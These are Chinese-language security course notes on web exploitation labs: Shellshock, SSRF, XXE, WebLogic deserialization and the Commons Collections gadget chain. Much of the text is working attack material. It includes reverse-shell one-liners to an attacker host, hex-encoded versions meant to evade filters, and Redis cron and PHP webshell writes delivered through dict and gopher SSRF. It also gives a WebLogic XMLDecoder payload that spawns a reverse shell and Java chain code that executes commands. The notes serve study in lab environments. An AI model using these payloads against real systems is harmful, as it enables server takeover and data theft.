0%

安全牛第三章-安全测试实践2.0

  • XSSERXSS 漏洞深入研究和实践

    讨论的并不是很深入,XSS 平台在社区能拿到源码,笔者建议直接用老大的平台就行

  • XSS / CSRF

    全部是基于 DVWA 的,老大课的第二阶段讲得更好,且均是基础,在此略过

  • Bash-shellshock

    主要是在安装基于 dockervulhub 靶场,命令如下,以下命令基于 Ubuntu 环境

    1
    2
    3
    4
    apt-get install -y apt-transport-https ca-certificates
    apt install docker.io
    pip3 install docker-compose
    git clone https://github.com/vulhub/vulhub.git

    对于启动哪个可以在官网关键词搜索到

    以这节课的 bash-shellshock 破壳漏洞为例

    1
    2
    docker-compose -d #启动
    docker-compose ps -a #看一下信息

    如果访问 http://ip:port 出现 debian 则说明成功

    根据官网描述

    可访问界面为 safe.cgivictim.cgi

    官网文档有基本的 payload

    用完后用这个关掉

    1
    docker-compose down
    • 原理

      bash 所用的环境变量通过函数名称调用,而以 (){ 开头所定义的环境变量被 env 解析为函数后,并未退出 bash 的执行,而是往后将后续字符串当作 shell 执行

      而执行 .cgi 时调用 bashreferer,host,UA,header 全部当作环境变量处理

    • payload

      () { : ;}; echo ; /bin/ls -alh

      查看 /bin/ls 目录下文件

      User-Agent: () { :;};echo ; /bin/bash -i >& /dev/tcp/ip/port 0>&1;

      生成反弹 shell

      连接成功,然后就可以想办法传大马提权了

  • SSRF 探索利用

    由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内网系统,而因为请求由服务端发起,所以能请求到与自身相连而与外网隔绝的内部系统

    其关键是 Web 应用程序与其他设施或外部服务的新人关系

    通过修改原始 URL127.0.0.1localhost ,使服务器能接受指向其自身的地址,从而令攻击者渗透进服务器文件系统

    • 服务器端请求伪造

      curl($_GET['url']) 来做演示,其功能如下

      1
      2
      curl -vvv 'dict://ip:port/info' 查看对方主机信息
      curl -vvv 'file:///etc/passwd' 读本地文件
    • bWAPP 中的 ssrf 模块做演示

      可以在老大发的第一个学习靶机中找到已经配置好的,但感觉并没有配置好,建议用 phpadmin 自己搭,用 docker 的话也出了些问题

      给了三个例子,以第一个为例

      • port scan

        点进去后发现服务器上存有以下用于端口扫描的 php 脚本

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        <?php
        echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
        if(isset($_REQUEST["ip"]))
        {
        //list of port numbers to scan
        $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
        $results = array();
        foreach($ports as $port)
        {
        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {
        $results[$port] = true;
        fclose($pf);
        }
        else
        {
        $results[$port] = false;
        }
        }
        foreach($results as $port=>$val)
        {
        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";
        if($val)
        {
        echo "<span style=\"color:green\">OK</span><br/>";
        }
        else
        {
        echo "<span style=\"color:red\">Inaccessible</span><br/>";
        }
        }
        }
        ?>

        然后到本地文件包含模块 Remote/Local inclusion

        可以看到这里请求了 lang_en.php 文件,那么用这个来包含刚刚的脚本

        随后就能用服务端的身份进行端口扫描

    • ssrf 常用协议

      • file 协议

        读取服务器本地文件,访问本地静态资源

        1
        2
        3
        file:///etc/passwd
        file:///var/www/html/index.php
        file:///usr/local/apache-tomcat/conf/server.xm
      • dict 协议

        常用于探测内网主机以及端口开放情况,以及端口服务的指纹信息,或者执行一些服务的命令,如 redis

        其格式为 dict://ip:port/command

        对于多行命令,dict只能一次执行一行,所以需多次执行

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        一、dict协议探测端口和服务指纹
        dict://ip:port
        dict://127.0.0.1:port/info

        二、dict协议攻击redis,写入定时任务,进行反弹shell
        redis默认端口为6379
        centos系统定时任务的路径为:/var/spool/cron
        debian系统定时任务的路径为:/var/spool/cron/crontabs

        dict://127.0.0.1:6379/config:set:dbfilename:root
        dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
        dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"
        dict://127.0.0.1:6379/save

        注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
        dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"

        三、dict协议攻击redis,写入webshell
        dict://127.0.0.1:6379/config:set:dbfilename:test.php
        dict://127.0.0.1:6379/config:set:dir:/var/www/html
        dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
        dict://127.0.0.1:6379/save

        若存在过滤, 则利用16进制内容写入:
        dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
    • gopher 协议

      曾经应用广泛的信息查找系统,使用 70 端口,用来攻击 redis , mysql , fastcgi , smtp 等服务。

      又称万金油协议,通过该协议发送各种格式的请求包以绕过漏洞不在 GET 参数

      其格式为 gopher://host:port/gopher_path

      gopher 协议数据流中,url 编码使用 %0d%0a 替换回车换行,数据流末尾使用 %0d%0a 代表消息结束

      • 攻击 redis 服务

        redis 服务的协议数据流格式如下,其中 *[参数数量] , $[参数x的字节数量]

        1
        2
        3
        4
        5
        6
        7
        8
        9
        *3
        $6
        config
        $3
        set
        $3
        dir
        $13
        /var/www/html

        eg:redis 将反弹 shell 写入定时任务

        1
        2
        3
        4
        5
        set ttt "\n\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n\n\n"
        config set dir /var/spool/cron
        config set dbfilename root
        save
        quite

        redis 格式如下

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        *3
        $3
        set
        $3
        ttt
        $69



        */1 * * * * bash -i >& /dev/tcp/ip/port 0>&1




        *4
        $6
        config
        $3
        set
        $3
        dir
        $16
        /var/spool/cron/
        *4
        $6
        config
        $3
        set
        $10
        dbfilename
        $4
        root
        *1
        $4
        save
        *1
        $4
        quit

        gopher 协议攻击,payload 如下

        1
        gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
      • Gopherus

        总是会有工具的,总会的

        其可以自动化构造 paylaod

        github地址

  • XXE 漏洞探索利用

    • XML 基础知识

      作为一种标记语言,标记电子文件使其具有结构性,其标准结构如下

      • 语法

        • 所有 XML 元素都有一个关闭标签
        • 标签对大小写敏感
        • 需要正确嵌套
        • XML 文档必须有根元素
        • XML 属性值必须加引号
        • <> 符号在 XML 中有特殊含义,所以用对应的 html 实体来表示,即 &lt &gt
        • 其空格会被保留,即 <p>a[space]b</p>
      • 文档结构

        • 元素

          XML 主要构建模块,可包含文本,其他元素,或空

          1
          <body> body text in between </body>
        • 属性

          提供有关元素的额外信息

          1
          <img src="computer.gif"/>

          src 即为元素 img 的属性

      • DTD :文档类型定义

        定义 XML 文档的合法构建模块,即说明哪些元素/属性合法以及应怎样嵌套

        可以内部声明或外部引用

        • 内部

          <!DOCTYPE 根元素 [元素声明]>

          1
          2
          3
          4
          <?xml version="1.0"?>
          <!DOCTYPE note [
          <!ELEMENT note (to,from,heading,body)> <!ELEMENT to(#PCDATA)> <!ELEMENT from(#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body(#PCDATA)>
          ]>

          内部声明,先定义了此文档为 note 类型。随后定义 note 类型有四个元素 to,from,heading,body

          随后将这四个元素定义为 #PCDATA 类型

        • 外部

          <!DOCTYPE 根元素 SYSTEM "文件名">

          1
          <!DOCTYPE note SYSTEM "note.dtd">

          note.dtd:

          1
          2
          3
          4
          5
          <!ELEMENT note (to,from,heading,body)>
          <!ELEMENT to (#PCDATA)>
          <!ELEMENT from (#PCDATA)>
          <!ELEMENT heading (#PCDATA)>
          <!ELEMENT body (#PCDATA)>
    • XXE

      XML 外部实体注入,即 DTD 外部实体。而其的原因是在解析 XML 的时候,对恶意的外部实体进行解析导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起 dos 攻击等危害

      然而在 libxml2.9.0 后,默认不解析外部实体,PHP 版本不影响 XXE 利用

      • 回显 XXE

        bwappXXE 模块为例

        抓包得到存在 xml ,尝试修改数据

        发现服务器会解析 xml 内容

        那么构造 payload 即可注入

        1
        2
        3
        <?xml version="1.0" encoding="utf-8" ?>
        <!DOCTYPE test[<!ENTITY bee SYSTEM "file:///c:/Users/Administrator/Desktop/flag.txt">]>
        <reset><login>&bee;</login><secret>Any bugs?</secret></reset>

        理论上说这能输出桌面的 flag 文件内容,但是笔者靶机这里出锅了复现失败,根据 githubxxe-2.php$xml 函数值也没有用

      • 无回显 XXE

        大多数条件下,XXE 并不会用于输出,所以要考虑将数据外带

        • 判断

          对于正常可以联网的靶机,我们可以使用以下操作来判断其是否存在 XXE ,借用 dnslog

          1
          2
          3
          <?xml version="1.0" encoding="UTF-8"?>
          <!DOCTYPE root [
          <!ENTITY % remote SYSTEM "http://noone.kerfmc.dnslog.cn">%remote;]>

          然后可以在网站中收到记录

        • 读取文件

          往往用 xml 来调用靶机以外的 xml 文件来攻击,以此避免过滤

  • Weblogic 系列

    • Weblogic 漏洞利用实践

      这里选用的是 Weblogic10.3.6 版本,这一版本漏洞最多,便于实验

      下载连接

      安装完成后可以在 Oracle\Middleware\user_projects\domains\base_domain 找到

      • 弱密码爆破

        很简单的部分,过程略了,但要求控制台关闭了用户控制

      • SSRF(CVE-2014-4210)

        ip:port/uddiexplorer 中,可以看到输入框,随便输点到 burp 里面看

        更改发送包中的数据,可以发现返回也随之改变

        尝试 ssrf ,让 operator 访问攻击机端口,并开端口监听

        可以验证其确实存在 ssrf 漏洞了

        • 端口扫描/内网主机扫描

          靶机:port 探测端口开放情况

          可以用脚本

          1. 主机存活且端口开放,会返回状态码。
          2. 开放端口但非 HTTP 协议则会返回 did not have a valid SOAP content-type: text/html
          3. 不存在的主机或端口时,返回 could not connect over HTTP to server

          如果知道了内网的更多信息,还可以做更多事,向定时计划中写入反弹 shell

          比如这篇文章,对于靶机内网存在 Redis 未授权漏洞的,可以用 ssrf 写入反弹 shell

      • XML 反序列化

        • 原理:

          WeblogicWLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML(SOAP协议)数据 ,在解析的过程中出现反序列化漏洞,导致任意代码执行。

          出问题的包是 wls-wsat_async

        • 演示

          ip:port/wls-wsat/ 下面的子目录,都是在 wls-wsat.war 里面 WEB-INF/web.xml 定义的 servlet

          1
          2
          3
          4
          5
          6
          7
          8
          /wls-wsat/CoordinatorPortType
          /wls-wsat/RegistrationPortTypeRPC
          /wls-wsat/ParticipantPortType
          /wls-wsat/RegistrationRequesterPortType
          /wls-wsat/CoordinatorPortType11
          /wls-wsat/RegistrationPortTypeRPC11
          /wls-wsat/ParticipantPortType11
          /wls-wsat/RegistrationRequesterPortType11

          这里以第一个为例

          先将数据包改成可以提交 xml 的样子:

          1. 改为POST 类型
          2. 加上 Content-Type: text/xml
          3. 构造 payload

            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            14
            15
            16
            17
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java class="java.beans.XMLDecoder">
            <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>bash -i &gt;&amp; /dev/tcp/[ip]/[port] 0&gt;&amp;1</string></void>
            </array>
            <void method="start"></void>
            </object>
            </java>
            </work:WorkContext>
            </soapenv:Header>
            <soapenv:Body/>
            </soapenv:Envelope>

            攻击机上监听对应端口即可

        • 脚本

          这里找到写好的脚本

    • weblogic 反序列化深入

      • java 序列化(与反序列化)

        • 定义

          把对象的状态信息转换为字节序列,便于存储或传输

          字节序:多字节数据在内存或网络传输时各字节存储的顺序

        • 用途

          把对象字节序列永久保存到硬盘上,存放在文件里,便于恢复和保存用户会话 Sessions

          便于传输

          将内存中信息序列化后释放内存,减轻服务器压力,需要时再反序列化至内存中

        • 应用场景

          HTTP 实现多个平台间的通信和管理

          RMI 完全基于反序列化,java 开发分布式应用程序的 API ,实现不同操作系统程序的方法调用,默认端口 1099

          JMX 可以在任何 java 程序中使用标准的代理服务和管理

        • 实例

          ObjectOutputStream 类的 writeObject() 实现序列化

          ObjectInputStream 类的 readObject() 实现反序列化

        • 样例

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          public static void main(String args[]) throws Exception{
          String obj="hello world!";

          //序列化对象写入文件 object.db
          FileOutputStream fos=new FileOutputStream("object.db");
          ObjectOutputStream os=new ObjectOutputStream(fos);
          os.writeObject(obj);
          os.close();

          //从object.db读取数据
          FileInputStream fis=new FileInputStream("object.db");
          ObjectInputStream ois=new ObjectInputStream(fis);

          //反序列化恢复对象obj
          String obj2=(String)ois.readObject();
          ois.close();
          }

          其序列化后文件特点是文件头 16 进制下为 AC ED 00 05 ; base64rO0AB

          但这段代码在实际使用中是存在问题的,因为没有对用户输入进行过滤,在 FileInputStream 的反序列化过程中,通过构造恶意代码可以进行攻击

        • Apache Commons Collections

          其中有一个特殊接口类 Invoker Transformer ,其可以调用 java 反射机制来调用任意函数

          • 反射机制特点

            可以判断对象所属的类,知道类所有的方法和属性,能够调用任意方法和属性

    • weblogic 反序列化深入(二)

      视频讲的不是很清楚,我这里细化写了一下,也可以移步我的博客看看

      • JAVA 基础

        学个基础先

        • java 的面向对象编程

          或许可以类比为一个 struct

          我们以一个手机为例,手机作为整体即是一个对象

          1
          public class phone{}

          而手机所具有的特点即是其属性

          1
          2
          3
          4
          public class phone{
          public String name;
          public double weight;
          }

          而为了使“手机”这个概念具象化,即由存于定义变为实际存在,我们需要构造器

          1
          2
          3
          4
          5
          6
          7
          8
          9
          public class phone{
          public String name;
          public double weight;
          public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
          public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
          this.name=name;
          this.weight=weight;
          }
          }

          再随意写入一个函数

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          package test1;
          public class phone{
          public String name;
          public double weight;
          public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
          public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
          this.name=name;
          this.weight=weight;
          }
          public void start(){
          System.*out*.println("Power on");
          }
          }

          如此就完成了一个对象的定义,现在需要创建该对象,或者说,实例化这个类

          1
          2
          3
          4
          5
          public class test{
          public static void main(String[] args){
          phone p=new phone();//new一个名为p,类型为phone的对象
          }
          }
        • java 反射机制

          • 正射

            通常来说,我们在实例化一个类时,我们需要知道其类型 phone ,才能写出实例化代码

            1
            phone p=phone();
          • 反射

            顾名思义,我们可以借助函数来得到对象 p 的类 phone ,再用函数进一步操作类的私有属性

            • 获取类

              .getclass()

              如果上文中存在所需类的某个实例 p ,那么可以调用 p.getClass() 来获取其的类

              .class

              调用类的 class 属性可获取该类对应的对象,即使用 phone.class

              .forname()

              使用了 class 类中的静态方法

              1
              2
              3
              4
              phone p=new phone();
              Class class1=p.getClass();
              Class class2=phone.class;
              Class class3=Class.forName("phone");//所填的是类所在包名.类名,但这里没有放到包里,所以只写了类名

            • 类的函数

              获取想要操作的类的 Class 对象 class1 后,通过 Class 类的函数可以查看该类的信息并进行操作

              实例化对象 Object 获取

              1
              2
              3
              4
              Object p1=class1.newInstance();
              //或者
              Constuctor cons=class1.getConstructor();
              Object p2=cons.newInstancec();

              两者区别在于,后者可以用来调用含参数的构造器。newInstance 函数需要类中存在无参构造器,当不存在时,只能用后者

              1
              2
              Constructor cons=class1.getConstructor(String.class,double.class);
              Object p2=cons.newInstance(value1,value2);//value1,2即是赋给p2的两个属性的值

              类的构造器 Constructor 获取

              1
              2
              3
              4
              5
              6
              7
              8
              //获取public构造器
              Constructor cons=class1.getConstructor();//当然,这里也可以获取含参数构造器
              //获取全部public构造器
              Constructor[] cons=class1.getConstructors();//构造器可能不止一个,所以用数组
              //获取public与private类型的构造器
              Constructor cons=class1.getDeclaredConstructor();
              //获取全部构造器
              Constructor[] cons=class1.getDeclaredConstructors();

              获取属性 field

              1
              2
              3
              4
              5
              //同上,获取的是public/全部属性
              Field f=class1.getField("name");
              Field f2=class1.getDeclaredField("name");
              Field[] f3=class1.getFields();
              Field[] f4=class1.geDeclaredFields();

              获取方法 Methods

              1
              2
              3
              //继续同上
              Method m=class1.getMethod("setName", String.class); //两个参数,后面要传入的是方法形参的类型的原型,无参函数就不用填
              //剩下的略
          • Runtime

            java 中的一个系统类,通常写作 java.lang.Runtime ,其封装了应用程序运行时的环境,但我们只需要关注其中最重要的那个:

            1
            exec(String cmd); //在单独的进程中执行指定的命令或程序。

            这个明显可以用来命令执行,利用反射弹个 calc

            1
            2
            3
            4
            5
            6
            Class p = Class.forName("java.lang.Runtime");//定义一个类与系统类 runtime 相同的类p,那么对于runtime可执行的函数,p也可执行。相当于复制一个 java.lang.runtime 为 p
            Constructor constructor = p.getDeclaredConstructor(); // 调用系统类里定义的一个私有构造器
            constructor.setAccessible(true); // 修改构造器作用域,使外面可以访问到
            Method m = p.getMethod("exec", String.class); // 获取exec方法
            Object o = constructor.newInstance(); //弄一个与系统类相同的对象出来,方便后面
            m.invoke(o, "calc"); // 调用exec方法,执行calc命令
        • 基于反射的 invoke 方法

          对于一般的对象 A ,我们常使用 A.getA() 来调用其 getA() 方法

          invoke 采取一种新的调用方式:

          构建一个 Method 对象 methodA ,给其所需要的对象和参数以用其代替你要使用的方法

          也就是说,在未知条件下,可以调用替代任何方法并根据条件决定调用对象和方法

        • 注解与元注解

          注解用于对程序代码说明,但不同于注释的是,其能向编译器提供关于程序代码的附加信息,可在编译运行时被读取或使用,以及可以影响编译器的行为。

          其可以用于类,方法,字段等元素上,例:

          1
          2
          3
          4
          @Deprecated
          public void oldMethod{
          ...
          }

          标记了一个过时的方法,在接下来的代码中,若有使用 oldMethod 的代码,编译器会给出警告

          1
          2
          3
          4
          @SuppressWarnings("unchecked")
          public void someMethod() {
          ...
          }

          使编译器不给出警告信息

          元注解则是注解的注解,以马上要用到的 @Target 为例,其用于指定注解可以应用的元素类型(方法/类/等)

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          @Target(ElementType.METHOD)
          public @interface MyAnnotation{
          //关于类型为注解,名称为 MyAnnotation 的注解的定义,其被Target限制为只能注解 Method
          }
          @Target(ElementType.TYPE)
          public @interface MyClassAnnotation{
          //类型为注解,名称为 MyClassAnnotation 的注解,其被 Target 限制为只能注解 class
          }
          @MyClassAnnotation
          public class myclass{
          @MyAnnotation
          public void MyMethod{
          ...
          }
          }
          • 语法糖

            当注解中只有一个成员变量,并且该成员名称为 value 时,可以用 value 语法糖简化注解使用:

            1
            2
            3
            4
            5
            6
            7
            public @interface MyAnnotation{
            string value();
            }
            @MyAnnotation("hello")
            public class MyClass{
            ...
            }

            自定义注解 MyAnnotation 中只有 value 一个成员变量,使用语法糖能直接在使用注解提供值,即使用该注解时将 hello 作为值传给 value 成员变量

            再看一个跟这个题目有关的:

            1
            2
            3
            4
            5
            6
            7
            8
            @Target(ElementType.ANNOTATION_TYPE)
            public @interface Target {
            ElementType[] value() default {};
            }
            @Target({ElementType.TYPE, ElementType.FIELD})
            public @interface MyAnnotation {
            ...
            }

            第一个 Target 规定了第二个 Target 能注解的变量类型,且其存在名为 value 的数组中

            第二段语句 Target 的参数即在 value 中,规定了 MyAnnotation 只能注解 Element.TYPEElement.FIELD

      • CVE-2015-4852 漏洞原理浅析

        • 环境搭建

          • docker

            笔者使用的是 Ubutun+docker 。在 vulhub/weblogic 下新建一个名为 CVE-2015-4852 的文件夹方便操作,然后写入以下配置文件

            docker-compose.yml

            1
            2
            3
            4
            5
            6
            7
            version: '2'
            services:
            weblogic:
            build: .
            ports:
            - "7001:7001"
            - "8453:8453"

            DockerFile

            1
            2
            3
            4
            5
            6
            7
            8
            from vulhub/weblogic:10.3.6.0-2017

            ENV debugFlag true

            EXPOSE 7001
            EXPOSE 8453

            CMD ["/bin/sh","-c","while true;do echo 1;sleep 10;done"]

            随后更新 docker-compose up -d ,用 docker exec -it [docker_id] bash 进入 docker 目录修改 ~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

            在其前方加入

            1
            2
            debugFlag="true"
            export debugFlag

            随后重启容器,并把容器目录下的 root 复制出来

            1
            docker cp [docker_id]:/root [your_path]

            后传到你的主机上

          • idea

            idea 打开 /root/Oracle/Middleware/wlserver_10.3

            然后去 Project structure-Libraries 添加 /server/modules 文件夹以及 /wlserver_10.3/server/lib/weblogic.jar 以进行反编译

            再去 Project structure-Project jdk 选择刚刚拷出来的 jdk

            然后去右上角 add Configuration 加入 remote 服务器,如果刚刚配置的时候没有改调试端口的话这里是 8453

            最后去 /wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class 的第 129 行下断点,运行 debug

            访问网站 http://127.0.0.1:7001/wls-wsat/CoordinatorPortType

            看看是否被断下

        • 利用链分析

          • 前言

            反序列化攻击的实现,往往需要将 payload 构造为多层的 exp 进入服务端的 readobject 函数,其会反序列化恢复构造的 exp 来生成 exp' ,在接下来的流程中存在可以执行 exp' 类的方法,不断处理得到最终的 payload ,最后其进入可执行任意命令的函数

            也就是说,我们需要构造以下:

            1. 朴素的 payload ,即需要服务器执行的代码
            2. 一条反序列化链,沿着这条链可以逐渐解码包裹起来的 payload
            3. readObject 重写点,即服务器端存在的,与漏洞链相连接的且可以从外部访问到的一个方法
          • 反序列化链构造

            将其细分为 $3$ 段,从 $1-3$ 的顺序构造,服务端从 $3-1$ 进行执行。

            • 段 $1$

              我们最终的目的是命令执行,即调用 exec() 函数

              这里主要使用的是 InvokerTransformer 类及其 transform 方法

              注意到 transform 方法会用反射机制调用输入的 inputmethod 函数,而 Invokertransform 类的三个参数全部可由输入控制

              所以只要控制 transform 方法的 input 变量是一个 RuntimeClass 实例,就可以成功调用即执行了 Runtime.getRuntime().exec("calc");

              写一个实验如下:

              1
              2
              3
              4
              5
              6
              7
              8
              import org.apache.commons.collections4.functors.InvokerTransformer;

              public class InvokerTransformerTest{
              public static void main(String[] args){
              InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});//变量赋值
              InvokerTransformer.transform(Runtime.getRuntime());//得到runtime类
              }
              }

              对于新学 java 的这里有一点要注意的,如果是 ${vscode}$ 的话,这个外部库去apache下载后,用 extentsion pack for java ,然后在 JAVA PROJECT 下面的 Referenced Libraries 添加下载的库。注意引入库的版本要和下载的对应

              但不幸的是,CC 里面并不能直接使用 InvokerTransformer.transform ,也就是说得不到 RunTime 类,那么现在需要找到利用链的上一级,其需要调用该方法

              这里就需要 ChainedTransformer

              CC4 (上) 可能和网上常见的 CC3 (下) 不太一样,但理解成正常 for 循环和用 auto 的循环就行

              这个类以一个 Transformer 数组为变量,其 transform 方法是对每个 Transformer 调用其自己的 transform 方法

              但注意最开始传入的参数 object 会被其迭代,这对链的构造十分有利

              现在我们解决的 transform 方法的问题,getRunTime 可以由 RunTime 类获取。回顾我们需要构造的链 Runtime.getRuntime().exec("calc"); 。只要获取到 RunTime 类就可以完成段 $1$ 的构造

              但是 RunTime 对象不能像普通对象一样直接声明,那么就需要性质很好的 ConstantTransformer

              transform 方法返回值都是 iConstant

              那么只要让一个 RunTime 类为 iConstant 即可得到 RunTime 类,再结合刚刚的 ChainedTransformer 就可以获取到链的第一截 RunTime ,然后去 InvokerTransformertransform 方法调用 getMethod() 得到第二截 getRunTime() ,最后再用其调用 exec() 即能得到整条链

              由于 ChainedTransformer 参数 object 的优秀迭代机制,只需要让另外几个以此放在 Transform[] 类数组里面即可

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              12
              13
              14
              15
              16
              17
              18
              import org.apache.commons.collections4.functors.ChainedTransformer;
              import org.apache.commons.collections4.functors.ConstantTransformer;
              import org.apache.commons.collections4.functors.InvokerTransformer;
              import org.apache.commons.collections4.Transformer;

              public class test_part1 {
              public static void main(String[] args) throws Exception {
              Transformer[] transformers_exec=new Transformer[]{
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
              new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
              };

              Transformer chain=new ChainedTransformer(transformers_exec);
              chain.transform(1);
              }
              }

              如此就成功构造出了链的第一部分 Runtime.getRuntime.exec("calc")

              回顾一下调用栈

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              ChainedTransformer.transform()
              ConstantTransformer.transform()
              InvokerTransformer.transform()
              Method.invoke()
              Class.getMethod()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.getRuntime()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.exec()

              那么我们现在只需要找到一处调用了 ConstantTransformer.transform 的地方即可。由于其所需参数任意,所以这里分为第一段

            • 段 $2$

              一般来说是找不到严格相同的 ConstantTransformer.transform ,但我们退而求其次,找 xxx.transform 方法,且 xxx 可被赋值为 ConstantTransformer 类型对象

              根据资料,这里有两条路可以走:TransformedMapLazyMap ,但顾名思义,我懒,所以没有 LazyMap 的笔记

              其中这三个函数调用了其 transform 方法,也就是构造 valueTransformerkeyTransformer 为刚刚构造的 ChainedTransformer 类型对象,然后触发这三个函数来触发 trnsform 方法即可。需要分两步:先赋值,再调用

              但实际上只能让 valueTransformer 为反序列化构造链,因为只有其在后面能被调用到,但这是过会要考虑的问题

              但这几个方法都是 protected ,也就是无法从外部访问。那么考虑找 public 类型入手:

              transformedMap 类型:

              transformingMap 方法则是可以调用构造函数赋值内部参数

              如果是 CC3 版本的话,这里是 decorate 方法

              可以发现构造方法 transformingMap 需要满足的条件是第一个参数是 Map 类型,那么随便建一个 map 就行,如此就赋值成功了

              1
              2
              3
              HashMap tmpMap=new HashMap();
              tmpMap.put("nothinghere","qwq");
              Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);//chain即是上面构造的 ChainedTransformer

              中途可以验证一下

              找到一个性质很好的 put 方法,其可以从外部访问且能调用上面三个隐私函数之一的 transformKey

              transformKey 可知,只要参数 KeyTransformer 不为空即可调用 transform 方法,那么随便传几个进去试试:

              1
              ChainMap.put("justfor","test");

              成功调出计算器,也就是赋值操作是没问题的,

              那么接下来考虑如何让系统自动触发 Map 类型中 valueTransformer 参数 transform 方法(即刚刚构造的链条所在位置),即调用 valueTransformer.transform() ,显然这里的参数无关紧要

              所以最后要落脚到一个读入数据后主动触发的类,即 ReadObject

              先搜索找到调用函数 checkSetValue

              点进去看下谁能调用它:

              到其父类 AbstractInputCheckedMapDecorator

              也就是现在需要一个 Map.entry 类且需要调用 Map.entry.setValue() 参数依旧不重要

              还是经典的赋值+调用

              先看赋值,要将原来的 TransformedMap 类转为 Map.Entry

              TransformedMap 也是 MapMap.entry 是一个键对值 <key,value> 的集合

              也就是从 Map 中提取键对值的方法用在 TransformedMap 上,并将其赋值给 Map.entry 即可,顺便手动调用一下 SetValue 方法试一下

              1
              2
              Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
              entry.setValue("qwq");

              在这里分个段清晰一些,回顾一下反序列化链;

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              12
              13
              Map.entry.setValue()
              TransformedMap.put()
              ChainedTransformer.transform()
              ConstantTransformer.transform()
              InvokerTransformer.transform()
              Method.invoke()
              Class.getMethod()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.getRuntime()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.exec()
            • 段 $3$

              在开始前,确保版本为 jdk1.6

              因为这里使用 AnnotationInvocationHandler 类来解决调用函数的问题,其在 jdk1.8 被重写了

              它在 JRE System Library-rt.jar-sun.reflect.annotation.AnnotationInvocationHandler

              观察到 var5 存在 setvalue() 方法的调用,恰巧的是,其构造过程与上面的 entry 一模一样:

              1
              2
              Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
              var5=this.memberValue.entrySet().iterator().next();

              那么 payload 转而写成:

              1
              2
              3
              4
              5
              //Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next(); 已经不需要这个了
              Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
